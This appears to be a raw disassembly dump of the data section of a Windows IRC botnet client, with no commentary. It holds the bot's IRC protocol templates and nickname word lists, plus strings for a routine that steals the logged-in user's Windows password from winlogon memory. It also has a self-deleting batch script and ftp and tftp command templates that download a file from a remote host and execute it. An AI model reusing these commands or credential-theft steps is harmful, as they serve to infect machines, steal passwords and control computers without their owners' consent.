		db 3, 2Dh, 20h
aDownloaded_1fK	db 'downloaded %.1f KB to %s @ %.1f KB/sec',0
		align 4
dbl_436ED8	dq 9.765625e-4		; DATA XREF: sub_418F38+2B2r
					; sub_418F38:loc_41920Ar ...
; char asc_436EE0[]
asc_436EE0	db '-'                  ; DATA XREF: sub_418F38+256o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aWrongCrcDD_	db 'wrong crc (%d != %d).',0
		align 4
; char asc_436F08[]
asc_436F08	db '-'                  ; DATA XREF: sub_418F38+1C9o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aWrongFilesizeD	db 'wrong filesize (%d != %d).',0
		align 4
; char asc_436F34[]
asc_436F34	db '-'                  ; DATA XREF: sub_418F38:loc_4190CFo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aGotUpdateSDkb_	db 'got update %s (%dKB).',0
		align 4
unk_436F5C	db  2Dh	; -		; DATA XREF: sub_418F38+190o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloadedSDkb	db 'downloaded %s (%dKB)',0
		align 4
; char asc_436F84[]
asc_436F84	db '-'                  ; DATA XREF: sub_418F38+79o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aCouldnTOpenF_0	db 'couldn',27h,'t open file: %s',0
		align 4
aUnknown	db 'Unknown',0          ; DATA XREF: sub_4194B8:loc_4194FBo
					; sub_41B98C+104o
aInvalid	db 'Invalid',0          ; DATA XREF: sub_4194B8:loc_4194F5o
aDisk		db 'Disk',0             ; DATA XREF: sub_4194B8:loc_4194EFo
		align 4
aNetwork	db 'Network',0          ; DATA XREF: sub_4194B8:loc_4194E9o
aCdrom		db 'Cdrom',0            ; DATA XREF: sub_4194B8:loc_4194E3o
		align 4
off_436FD4	dd offset word_4D4152	; DATA XREF: sub_4194B8:loc_4194DDo
dword_436FD8	dd 3Fh			; DATA XREF: sub_4194B8+1Fo
; char aFailed[]
aFailed		db 'failed',0           ; DATA XREF: sub_419549:loc_419621o
					; sub_419664+24o
		align 4
; char aSkb[]
aSkb		db '%sKB',0             ; DATA XREF: sub_419549+6Co
		align 4
; char asc_436FEC[]
asc_436FEC	db '-'                  ; DATA XREF: sub_419664+7Do
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDriveSSTotalS	db '%s drive (%s): %s total, %s free, %s available',0
		align 4
; char asc_437028[]
asc_437028	db '-'                  ; DATA XREF: sub_419664+47o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDriveSFailedT	db '%s drive (%s): failed to stat, device not ready',0
; char aA_1[]
aA_1		db 'A:\',0              ; DATA XREF: sub_419725:loc_41975Bo
; char asc_437068[]
asc_437068	db '-'                  ; DATA XREF: sub_419799+107o
		db 3, 34h, 2
		dd 646E6966h, 656C6966h, 202D0302h, 6E756F66h, 73252064h
		dd 73255Ch
; char aS_4[]
aS_4		db '%s\*',0             ; DATA XREF: sub_419799+14o
		align 4
; char asc_43708C[]
asc_43708C	db '-'                  ; DATA XREF: sub_4198EB+C7o
		db 3, 34h, 2
		dd 646E6966h, 656C6966h, 202D0302h, 6E756F66h, 64252064h
		dd 6C696620h, 7365h
; char asc_4370AC[]
asc_4370AC	db '-'                  ; DATA XREF: sub_4198EB+5Eo
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aSearchingFor_0	db 'searching for file %s',0
		align 4
; char aMsgina[]
aMsgina		db 'MSGINA',0           ; DATA XREF: sub_419A03+13Eo
		align 4
; char aNwgina[]
aNwgina		db 'NWGINA',0           ; DATA XREF: sub_419A03+123o
		align 4
; char aWinlogon[]
aWinlogon	db 'WINLOGON',0         ; DATA XREF: sub_419A03+B9o
		align 10h
; char asc_4370F0[]
asc_4370F0	db '-'                  ; DATA XREF: sub_419E4F+70o
					; sub_419EE6+C5o
		db 3, 34h, 2
		dd 646E6966h, 73736170h, 202D0302h, 4C6E6957h, 6E6F676Fh
		dd 666E4920h, 616D726Fh, 6E6F6974h, 49502820h, 64252044h
		dd 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah, 202C5325h
		dd 65735502h, 203A0272h, 2F532528h, 295325h
; char asc_437140[]
asc_437140	db '-'                  ; DATA XREF: sub_419EE6+DFo
		db 3, 34h, 2
		dd 646E6966h, 73736170h, 202D0302h, 4C6E6957h, 6E6F676Fh
		dd 666E4920h, 616D726Fh, 6E6F6974h, 49502820h, 64252044h
		dd 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah, 202C5325h
		dd 65735502h, 203A0272h, 2F532528h, 412F4E28h, 2929h
; char asc_437194[]
asc_437194	db '-'                  ; DATA XREF: sub_419FFD:loc_41A174o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aFailedToEnable	db 'failed to enable debug privilege',0
		align 4
; char asc_4371C8[]
asc_4371C8	db '-'                  ; DATA XREF: sub_419FFD:loc_41A148o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aUnableToFindWi	db 'unable to find winlogon pid',0
unk_4371F4	db  2Dh	; -		; DATA XREF: sub_419FFD:loc_41A141o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aUnableToFindTh	db 'unable to find the password in memory',0
		align 10h
; char asc_437230[]
asc_437230	db '-'                  ; DATA XREF: sub_419FFD+116o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
		db  57h	; W
		db 69h,	6Eh, 4Ch
		db  6Fh	; o
		db 67h,	6Fh, 6Eh
		db  20h
		db 49h,	6Eh, 66h
		db  6Fh	; o
		db 72h,	6Dh, 61h
		db  74h	; t
		db 69h,	6Fh, 6Eh
		db  20h
		db 28h,	50h, 49h
		db  44h	; D
		db 20h,	25h, 64h
		db  29h	; )
		db 20h,	2Dh, 20h
		db    2
		db 44h,	6Fh, 6Dh
		db  61h	; a
		db 69h,	6Eh, 2
		db  3Ah	; :
		db 20h,	2 dup(5Ch)
		db  25h	; %
		db 53h,	2Ch, 20h
		db    2
		db 55h,	73h, 65h
		db  72h	; r
		db 2, 3Ah, 20h
aSNoPassword_	db '(%S/(no password)).',0
aUserdomain:				; DATA XREF: sub_419FFD+DBo
		unicode	0, <USERDOMAIN>,0
		align 4
aUsername:				; DATA XREF: sub_419FFD+CDo
		unicode	0, <USERNAME>,0
		align 4
aRtlrundecodeun	db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_419FFD+99o
		align 4
aRtldestroyquer	db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_419FFD+8Co
		align 10h
aRtlqueryproces	db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_419FFD+7Fo
aRtlcreatequery	db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_419FFD+72o
		align 4
aNtquerysystemi	db 'NtQuerySystemInformation',0 ; DATA XREF: sub_419FFD+67o
		align 4
aNtdll_dll	db 'NTDLL.DLL',0        ; DATA XREF: sub_419FFD+54o
		align 4
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_419FFD+40o
					; sub_419FFD+160o ...
		align 4
dword_437368	dd 234032Dh, 646E6966h,	73736170h, 202D0302h, 796C6E6Fh
					; DATA XREF: sub_419FFD+35o
		dd 70757320h, 74726F70h, 6F206465h, 6977206Eh, 2F746E6Eh
		dd 326E6977h, 6Bh, 7536h, 7535h, 7C75347Ch, 0
a4you		db '{4you}',0           ; DATA XREF: .data:00443358o
		align 10h
a4us		db '|4us|',0            ; DATA XREF: .data:00443354o
		align 4
aSex4free	db '|sex4free|',0       ; DATA XREF: .data:00443350o
		align 4
aLoloA		db 'lolo|a|',0          ; DATA XREF: .data:0044334Co
aLol		db 'lol',0              ; DATA XREF: .data:00443348o
aTot		db 'tot',0              ; DATA XREF: .data:00443344o
aMofo		db 'mofo',0             ; DATA XREF: .data:00443340o
		align 4
aMof0		db 'mof0',0             ; DATA XREF: .data:0044333Co
		align 4
aMuha		db 'muha',0             ; DATA XREF: .data:00443338o
		align 4
aYeah		db 'yeah',0             ; DATA XREF: .data:00443334o
		align 4
aAha		db 'aha',0              ; DATA XREF: .data:00443330o
aShit		db 'shit',0             ; DATA XREF: .data:0044332Co
		align 10h
aGurl		db 'gurl',0             ; DATA XREF: .data:00443328o
		align 4
aGirl		db 'GIRL',0             ; DATA XREF: .data:00443324o
		align 10h
aBoy		db 'BOY',0              ; DATA XREF: .data:00443320o
aFree		db 'Free',0             ; DATA XREF: .data:0044330Co
		align 4
aFuck_0		db 'Fuck',0             ; DATA XREF: .data:00443308o
		align 4
aSleeping	db 'Sleeping',0         ; DATA XREF: .data:004432FCo
		align 10h
aF		db '^^^f^',0            ; DATA XREF: .data:004432F0o
		align 4
aSad		db 'Sad',0              ; DATA XREF: .data:004432ECo
aLuvu		db 'LUVU',0             ; DATA XREF: .data:004432E8o
		align 4
a___0		db '_|_',0              ; DATA XREF: .data:004432CCo
aBbl		db '|bbl',0             ; DATA XREF: .data:004432C0o
		align 10h
off_437450	dd offset loc_425241+1	; DATA XREF: .data:004432BCo
aMuckc		db 'muckc',0            ; DATA XREF: .data:004432A8o
		align 4
aTruck		db 'truck',0            ; DATA XREF: .data:004432A4o
		align 4
aTrimy		db 'trimy',0            ; DATA XREF: .data:004432A0o
		align 4
aLuvy		db 'luvy',0             ; DATA XREF: .data:0044329Co
		align 4
aUi		db 'ui',0               ; DATA XREF: .data:00443298o
		align 4
aSdf		db 'sdf',0              ; DATA XREF: .data:00443294o
aRt		db 'rt',0               ; DATA XREF: .data:00443290o
		align 10h
aGf		db 'gf',0               ; DATA XREF: .data:0044328Co
		align 4
aTy		db 'ty',0               ; DATA XREF: .data:00443288o
		align 4
aRg		db 'rg',0               ; DATA XREF: .data:00443284o
		align 4
aHappy		db 'happy',0            ; DATA XREF: .data:00443280o
		align 4
aRs		db 'rs',0               ; DATA XREF: .data:00443260o
		align 4
aQ8A		db '|q8|a',0            ; DATA XREF: .data:00443218o
		align 10h
aQ8		db 'Q8',0               ; DATA XREF: .data:00443214o
		align 4
aSick		db 'sick}}',0           ; DATA XREF: .data:00443210o
		align 4
aWiked		db '|wiked|',0          ; DATA XREF: .data:0044320Co
aLuvuF		db '||luvu-f|',0        ; DATA XREF: .data:00443208o
		align 10h
aGens		db '{gens|',0           ; DATA XREF: .data:00443204o
		align 4
aSex_0		db '{sex}',0            ; DATA XREF: .data:00443200o
		align 10h
aHub		db '{hub}',0            ; DATA XREF: .data:004431FCo
		align 4
aLuck		db '|luck|',0           ; DATA XREF: .data:004431F8o
		align 10h
aSuck		db '|suck|',0           ; DATA XREF: .data:004431F4o
		align 4
aTot_0		db '-|tot|',0           ; DATA XREF: .data:004431F0o
		align 10h
aWoh		db '|woh|',0            ; DATA XREF: .data:004431ECo
		align 4
aTambe		db '|tambe|',0          ; DATA XREF: .data:004431E8o
aLag		db 'lag',0              ; DATA XREF: .data:004431E4o
aBad		db 'bad',0              ; DATA XREF: .data:004431E0o
aTree		db 'tree',0             ; DATA XREF: .data:004431DCo
		align 10h
aZex		db 'zex',0              ; DATA XREF: .data:004431D8o
aLez		db 'lez',0              ; DATA XREF: .data:004431D4o
aWantedlove	db 'WANTEDLOVE',0       ; DATA XREF: .data:004431CCo
		align 4
aCumhur29	db 'cumhur29',0         ; DATA XREF: .data:004431C8o
		align 10h
aAdamm		db 'ADAMM',0            ; DATA XREF: .data:004431C4o
		align 4
aMaveRIck	db 'MaVe{R}icK',0       ; DATA XREF: .data:004431C0o
		align 4
aPrometheus	db 'prometheus',0       ; DATA XREF: .data:004431BCo
		align 10h
aDallas43m	db 'DALLAS43M',0        ; DATA XREF: .data:004431B8o
		align 4
aTeoman		db 'TEOMAN```',0        ; DATA XREF: .data:004431B4o
		align 4
aRerpjj		db 'RERPJJ',0           ; DATA XREF: .data:004431B0o
		align 10h
aCem39		db 'cem39',0            ; DATA XREF: .data:004431ACo
		align 4
aCool30m	db 'cool30m',0          ; DATA XREF: .data:004431A8o
aTropikal	db 'tropikal',0         ; DATA XREF: .data:004431A4o
		align 4
aPassenger	db 'passenger',0        ; DATA XREF: .data:004431A0o
		align 4
aNeHaber	db 'NE-HABER',0         ; DATA XREF: .data:0044319Co
		align 4
aUla		db 'ula',0              ; DATA XREF: .data:00443198o
aIzmirlm	db 'izmirlm',0          ; DATA XREF: .data:00443194o
aAkden		db 'akden',0            ; DATA XREF: .data:00443190o
		align 4
aKoray		db 'KORAY',0            ; DATA XREF: .data:0044318Co
		align 10h
aAta29		db 'Ata29',0            ; DATA XREF: .data:00443188o
		align 4
aFirtina	db 'firtina',0          ; DATA XREF: .data:00443184o
aAdamm33	db 'AdAMM33',0          ; DATA XREF: .data:00443180o
aM41ist		db 'M41IST',0           ; DATA XREF: .data:0044317Co
		align 10h
aMaxsilla	db 'maxsilla',0         ; DATA XREF: .data:00443178o
		align 4
aAdem28		db 'Adem28',0           ; DATA XREF: .data:00443174o
		align 4
aAnkm		db 'ankM',0             ; DATA XREF: .data:00443170o
		align 4
aErkan		db 'erkan',0            ; DATA XREF: .data:0044316Co
		align 4
aDevre		db 'devre',0            ; DATA XREF: .data:00443168o
		align 4
aYabanc		db 'yabanc',0           ; DATA XREF: .data:00443164o
		align 4
aBirsen		db 'birsen',0           ; DATA XREF: .data:00443160o
		align 4
aA44m		db 'a44m',0             ; DATA XREF: .data:0044315Co
		align 4
aAlcatras	db 'alcatras',0         ; DATA XREF: .data:00443158o
		align 10h
off_437630	dd offset byte_4B5245	; DATA XREF: .data:00443154o
aSevda		db 'sevda',0            ; DATA XREF: .data:00443150o
		align 4
aKotan		db 'kotan',0            ; DATA XREF: .data:0044314Co
		align 4
aTegmen		db 'TEGMEN',0           ; DATA XREF: .data:00443148o
		align 4
aAchilles	db 'Achilles',0         ; DATA XREF: .data:00443144o
		align 4
aKapk		db 'kapk',0             ; DATA XREF: .data:00443140o
		align 10h
aAngelgirl	db 'angelgirl',0        ; DATA XREF: .data:0044313Co
		align 4
aHayran		db 'hayran',0           ; DATA XREF: .data:00443138o
		align 4
aFenerlee	db 'FeNeRLee',0         ; DATA XREF: .data:00443134o
		align 10h
aAnkar		db 'Ankar',0            ; DATA XREF: .data:00443130o
		align 4
aDjspace	db 'DJSPACE',0          ; DATA XREF: .data:0044312Co
aAnk32M		db 'ANK-32-M',0         ; DATA XREF: .data:00443128o
		align 4
aUmut		db 'umut-',0            ; DATA XREF: .data:00443124o
		align 4
aAdalim		db 'ADALIM',0           ; DATA XREF: .data:00443120o
		align 4
aKumul		db 'kumul',0            ; DATA XREF: .data:0044311Co
		align 4
aUzgun36	db 'uzgun36',0          ; DATA XREF: .data:00443118o
aSugarboy	db 'SUGARBOY-',0        ; DATA XREF: .data:00443114o
		align 4
aSeviseli	db 'SeViSeLi',0         ; DATA XREF: .data:00443110o
		align 4
aKashmira	db 'Kashmira',0         ; DATA XREF: .data:0044310Co
		align 10h
aAykut1		db 'aykut1',0           ; DATA XREF: .data:00443108o
		align 4
aSadikaellesme	db 'SaDIkaEllesme',0    ; DATA XREF: .data:00443104o
		align 4
aMahinur	db 'MAHINUR',0          ; DATA XREF: .data:00443100o
aHoly		db 'holy',0             ; DATA XREF: .data:004430FCo
		align 4
aFlord		db 'FLoRD',0            ; DATA XREF: .data:004430F8o
		align 10h
aKebikec	db 'kebikec',0          ; DATA XREF: .data:004430F4o
aEsmerkiz	db 'Esmerkiz',0         ; DATA XREF: .data:004430F0o
		align 4
aElmaazyok	db 'elmaazyok',0        ; DATA XREF: .data:004430ECo
		align 10h
aEmre		db 'Emre--',0           ; DATA XREF: .data:004430E8o
		align 4
aRamtha		db 'RAMTHA',0           ; DATA XREF: .data:004430E4o
		align 10h
aImirzali	db 'IMIRZALI--',0       ; DATA XREF: .data:004430E0o
		align 4
aHakan3		db 'hakan3',0           ; DATA XREF: .data:004430DCo
		align 4
aMurat34M	db 'murat34-m',0        ; DATA XREF: .data:004430D8o
		align 10h
aKeyiflisert	db 'keyifliSERT',0      ; DATA XREF: .data:004430D4o
aArda		db 'arda',0             ; DATA XREF: .data:004430D0o
		align 4
aDevran		db 'devran',0           ; DATA XREF: .data:004430CCo
		align 4
aBerk19m	db 'Berk19m',0          ; DATA XREF: .data:004430C8o
aDenizlim	db 'DenizliM',0         ; DATA XREF: .data:004430C4o
		align 10h
aCongueror	db 'CoNGuERoR',0        ; DATA XREF: .data:004430C0o
		align 4
aAlpay34m	db 'alpay34m',0         ; DATA XREF: .data:004430BCo
		align 4
aBogac		db 'bogac',0            ; DATA XREF: .data:004430B8o
		align 10h
aDonjuanm	db 'Donjuanm',0         ; DATA XREF: .data:004430B4o
		align 4
aAnkh		db 'ankh',0             ; DATA XREF: .data:004430B0o
		align 4
off_4377C4	dd offset byte_457441	; DATA XREF: .data:004430ACo
aAyla		db 'AYLA-',0            ; DATA XREF: .data:004430A8o
		align 10h
aAlbina		db 'albina',0           ; DATA XREF: .data:004430A4o
		align 4
aIzmir39m	db 'Izmir39m',0         ; DATA XREF: .data:004430A0o
		align 4
aZack		db 'ZACK',0             ; DATA XREF: .data:0044309Co
		align 4
aAnk32m		db 'ank32m',0           ; DATA XREF: .data:00443098o
		align 4
aTurkyy		db 'turkyy',0           ; DATA XREF: .data:00443094o
		align 4
aAhmet		db 'ahmet',0            ; DATA XREF: .data:00443090o
		align 4
aPelincik	db 'pelincik',0         ; DATA XREF: .data:0044308Co
		align 10h
aBlackpearl	db 'blackpearl',0       ; DATA XREF: .data:00443088o
		align 4
aRetg		db 'RETG',0             ; DATA XREF: .data:00443084o
		align 4
aSamyeli21	db 'samyeli21',0        ; DATA XREF: .data:00443080o
		align 10h
aPiramit	db 'PIRAMIT',0          ; DATA XREF: .data:0044307Co
aAslii		db 'aslii',0            ; DATA XREF: .data:00443078o
		align 10h
aErnesto	db 'ERNESTO',0          ; DATA XREF: .data:00443074o
aHaticem	db 'haticem',0          ; DATA XREF: .data:00443070o
aArzu		db 'ARZU',0             ; DATA XREF: .data:0044306Co
		align 4
aSudenur	db 'SUDENUR',0          ; DATA XREF: .data:00443068o
aSevmekmi	db 'sevmekmi',0         ; DATA XREF: .data:00443064o
		align 4
aVenedik34	db 'venedik34',0        ; DATA XREF: .data:00443060o
		align 4
aTekir		db 'tekir',0            ; DATA XREF: .data:0044305Co
		align 10h
aMERVE		db 'M-E-R-V-E',0        ; DATA XREF: .data:00443058o
		align 4
aTrend3		db 'trend3',0           ; DATA XREF: .data:00443054o
		align 4
aMelekk		db 'melekk',0           ; DATA XREF: .data:00443050o
		align 4
aAkin		db 'AKIN',0             ; DATA XREF: .data:0044304Co
		align 4
aMary_0		db 'MARY',0             ; DATA XREF: .data:00443048o
		align 4
aJericho	db 'JERICHO',0          ; DATA XREF: .data:00443044o
aTolga34	db 'Tolga34',0          ; DATA XREF: .data:00443040o
aMisssunday	db 'misssunday',0       ; DATA XREF: .data:0044303Co
		align 4
aIrmal		db 'irmal',0            ; DATA XREF: .data:00443038o
		align 10h
aObenibisevse	db 'OBeNiBiSeVSe',0     ; DATA XREF: .data:00443034o
		align 10h
aBerk19		db 'berk19',0           ; DATA XREF: .data:00443030o
		align 4
aHexaaa		db 'hexaaa',0           ; DATA XREF: .data:0044302Co
		align 10h
aErkan27	db 'erkan27',0          ; DATA XREF: .data:00443028o
aKaan38dent	db 'kaan38dent',0       ; DATA XREF: .data:00443024o
		align 4
aCansuuuu	db 'cansuuuu',0         ; DATA XREF: .data:00443020o
		align 10h
aThr45h3r5	db 'THR45H3R5',0        ; DATA XREF: .data:0044301Co
		align 4
aKencing	db 'Kencing',0          ; DATA XREF: .data:00443018o
aReshma		db 'reshma',0           ; DATA XREF: .data:00443014o
		align 4
aCamel		db 'CAMEL',0            ; DATA XREF: .data:00443010o
		align 4
aGirl_0		db 'GirL',0             ; DATA XREF: .data:0044300Co
		align 4
aImra		db 'imra',0             ; DATA XREF: .data:00443008o
		align 4
aCoredump	db 'CoreDump',0         ; DATA XREF: .data:00443004o
		align 10h
aPuregold	db 'puregold',0         ; DATA XREF: .data:00443000o
		align 4
aKermit		db 'kermit',0           ; DATA XREF: .data:00442FFCo
		align 4
aManee		db 'manee',0            ; DATA XREF: .data:00442FF8o
		align 4
aTroller	db 'troller',0          ; DATA XREF: .data:00442FF4o
aLuisa		db 'Luisa',0            ; DATA XREF: .data:00442FF0o
		align 4
aNastysha	db 'nastysha',0         ; DATA XREF: .data:00442FECo
		align 4
aRimpy		db 'rimpy',0            ; DATA XREF: .data:00442FE8o
		align 10h
aJanno		db 'janno',0            ; DATA XREF: .data:00442FE4o
		align 4
aBunty		db 'bunty',0            ; DATA XREF: .data:00442FE0o
		align 10h
aHeval		db 'heval',0            ; DATA XREF: .data:00442FDCo
		align 4
aCme		db 'cme',0              ; DATA XREF: .data:00442FD8o
aMarcy		db 'marcy',0            ; DATA XREF: .data:00442FD4o
		align 4
aTalika		db 'talika',0           ; DATA XREF: .data:00442FD0o
		align 4
aShez		db 'Shez',0             ; DATA XREF: .data:00442FCCo
		align 4
aKen		db 'ken',0              ; DATA XREF: .data:00442FC8o
aFlexster	db 'flexster',0         ; DATA XREF: .data:00442FC4o
		align 4
aKoko		db 'koko',0             ; DATA XREF: .data:00442FC0o
		align 4
aMale		db 'male',0             ; DATA XREF: .data:00442FBCo
		align 4
aSwin		db 'swin',0             ; DATA XREF: .data:00442FB8o
		align 4
aCar1nna	db 'Car1nna',0          ; DATA XREF: .data:00442FB4o
aKrizha		db 'KRIZHA',0           ; DATA XREF: .data:00442FB0o
		align 4
aEmilya		db 'emilya',0           ; DATA XREF: .data:00442FACo
		align 4
aBobmarley	db 'BOBMARLEY',0        ; DATA XREF: .data:00442FA8o
		align 10h
aMaxxguy	db 'maxxguy',0          ; DATA XREF: .data:00442FA4o
aFarooq		db 'farooq',0           ; DATA XREF: .data:00442FA0o
		align 10h
aSmartmir	db 'SMARTMIR',0         ; DATA XREF: .data:00442F9Co
		align 4
aM_1:					; DATA XREF: .data:00442F98o
					; .data:004432E4o
		unicode	0, <M>,0
aN_0:					; DATA XREF: .data:00442F94o
		unicode	0, <N>,0
aB:					; DATA XREF: .data:00442F90o
		unicode	0, <B>,0
aV_0:					; DATA XREF: .data:00442F8Co
		unicode	0, <V>,0
aC_3:					; DATA XREF: .data:00442F88o
		unicode	0, <C>,0
asc_437A40:				; DATA XREF: .data:00442F84o
					; .data:00443318o
		unicode	0, <X>,0
aZ:					; DATA XREF: .data:00442F80o
		unicode	0, <Z>,0
asc_437A48:				; DATA XREF: .data:00442F7Co
		unicode	0, <L>,0
aK_0:					; DATA XREF: .data:00442F78o
		unicode	0, <K>,0
aJ_0:					; DATA XREF: .data:00442F74o
		unicode	0, <J>,0
asc_437A54:				; DATA XREF: .data:00442F70o
		unicode	0, <H>,0
aG:					; DATA XREF: .data:00442F6Co
		unicode	0, <G>,0
aF_0:					; DATA XREF: .data:00442F68o
					; .data:004432E0o
		unicode	0, <F>,0
aD_2:					; DATA XREF: .data:00442F64o
		unicode	0, <D>,0
aS_10:					; DATA XREF: .data:00442F60o
		unicode	0, <S>,0
aP_0:					; DATA XREF: .data:00442F58o
		unicode	0, <P>,0
aO_0:					; DATA XREF: .data:00442F54o
		unicode	0, <O>,0
aU_0:					; DATA XREF: .data:00442F4Co
		unicode	0, <U>,0
aY:					; DATA XREF: .data:00442F48o
		unicode	0, <Y>,0
aT_0:					; DATA XREF: .data:00442F44o
		unicode	0, <T>,0
aR_0:					; DATA XREF: .data:00442F40o
		unicode	0, <R>,0
aE_0:					; DATA XREF: .data:00442F3Co
		unicode	0, <E>,0
aW:					; DATA XREF: .data:00442F38o
		unicode	0, <W>,0
aQ_0:					; DATA XREF: .data:00442F34o
		unicode	0, <Q>,0
aB_0:					; DATA XREF: .data:00442F28o
					; .data:0044321Co ...
		unicode	0, <b>,0
asc_437A90:				; DATA XREF: .data:00442F1Co
					; .data:00443274o
		unicode	0, <x>,0
aZ_0:					; DATA XREF: .data:00442F18o
					; .data:0044327Co ...
		unicode	0, <z>,0
asc_437A98:				; DATA XREF: .data:00442F08o
					; .data:00443234o
		unicode	0, <h>,0
aG_0:					; DATA XREF: .data:00442F04o
					; .data:00443230o ...
		unicode	0, <g>,0
aF_1:					; DATA XREF: .data:00442F00o
					; .data:0044322Co
		unicode	0, <f>,0
aY_0:					; DATA XREF: .data:00442EE4o
					; .data:00443278o
		unicode	0, <y>,0
aW_0:					; DATA XREF: .data:00442ED4o
					; .data:00443270o
		unicode	0, <w>,0
		align 10h
dbl_437AB0	dq -1.52587890625e-4	; DATA XREF: sub_41A293+3EFr
dbl_437AB8	dq 3.0517578125e-4	; DATA XREF: sub_41A293+3CFr
dbl_437AC0	dq -3.0517578125e-4	; DATA XREF: sub_41A293+34Cr
					; sub_41A293+3B1r
dbl_437AC8	dq 1.52587890625e-4	; DATA XREF: sub_41A293+27Er
dbl_437AD0	dq -1.739501953125e-3	; DATA XREF: sub_41A293+258r
					; sub_41A293+2E8r ...
dbl_437AD8	dq 3.11279296875e-3	; DATA XREF: sub_41A293+E0r
; char a__1[]
a__1		db '-|`_\{[]}',0        ; DATA XREF: sub_41A293+BAo
					; sub_41A293+17Cr ...
		align 10h
dbl_437AF0	dq 3.0517578125e-5	; DATA XREF: sub_41A293+ACr
					; sub_41A293+139r ...
dbl_437AF8	dq 6.103515625e-5	; DATA XREF: sub_41A293+90r
					; sub_41A293+317r
dbl_437B00	dq 2.288818359375e-3	; DATA XREF: sub_41A293+21r
; char aNickS_1[]
aNickS_1	db 'NICK %s',0Ah,0      ; DATA XREF: sub_41A6AE+C1o
		align 4
; char a432[]
a432		db '432',0              ; DATA XREF: sub_41A6AE+86o
; char aPongS_0[]
aPongS_0	db 'PONG %s',0Ah,0      ; DATA XREF: sub_41A6AE+65o
		align 4
; char aNickSUserSHotm[]
aNickSUserSHotm	db 'NICK %s',0Ah        ; DATA XREF: sub_41A7A3+98o
		db 'USER %s "hotmail.com" "127.0.0.1" :%s',0Ah,0
		align 4
; char aSErrorSD_[]
aSErrorSD_	db '%s Error: %s <%d>.',0 ; DATA XREF: sub_41ACD0+72o
		align 4
aExplorer_exe	db 'explorer.exe',0     ; DATA XREF: sub_41AE17+1Ao
		align 4
aSeshutdownpriv	db 'SeShutdownPrivilege',0 ; DATA XREF: sub_41AEBB+2o
; char aComspecCSS[]
aComspecCSS	db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_41AEDD+140o
		align 8
; char a[]
a@echoOffRepeat	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_41AEDD+85o
		db ':repeat',0Dh,0Ah
		db 'del "%%1"',0Dh,0Ah
		db 'if exist "%%1" goto repeat',0Dh,0Ah
		db 'del "%s"',0
; char aSdel_bat[]
aSdel_bat	db '%sdel.bat',0        ; DATA XREF: sub_41AEDD+48o
		align 4
; char asc_437BF8[]
asc_437BF8	db '-'                  ; DATA XREF: sub_41B065+9Co
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aOperatingSyste	db '- operating system is not supported',0
		align 4
unk_437C28	db  2Dh	; -		; DATA XREF: sub_41B065+8Fo
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aFailedWithErro	db '- failed with error code %d',0
		align 10h
; char asc_437C50[]
asc_437C50	db '-'                  ; DATA XREF: sub_41B065+5Co
		db 3, 34h, 2
		dd 2676F6Ch, 25202D03h,	6F6C2073h, 6C632067h, 65726165h
		dd 64h,	0
; char aEchoOpenSDOE_1[]
aEchoOpenSDOE_1	db 'echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &echo qu'
					; DATA XREF: sub_41B128+C2o
		db 'it >> o &ftp -n -s:o &%s',0Dh,0Ah,0
; char aTftpISGetSS[]
aTftpISGetSS	db 'tftp -i %s get %s &%s',0Dh,0Ah,0 ; DATA XREF: sub_41B128+94o
		align 8
dbl_437CE8	dq -3.0517578125e-5	; DATA XREF: sub_41B325+2Br
aContinued	db 'Continued',0
		align 4
aContinue_0	db 'Continue',0
		align 4
aPaused_0	db 'Paused',0
		align 10h
aPause_0	db 'Pause',0
		align 4
aStopped_0	db 'Stopped',0          ; DATA XREF: .data:0044342Co
aStop_0		db 'Stop',0             ; DATA XREF: .data:00443428o
		align 4
aStarted	db 'Started',0          ; DATA XREF: .data:00443420o
aStart_0	db 'Start',0            ; DATA XREF: .data:0044341Co
		align 4
aListed		db 'Listed',0           ; DATA XREF: .data:00443414o
		align 10h
aList_1		db 'List',0             ; DATA XREF: .data:00443410o
		align 4
aDeleted	db 'Deleted',0          ; DATA XREF: .data:00443408o
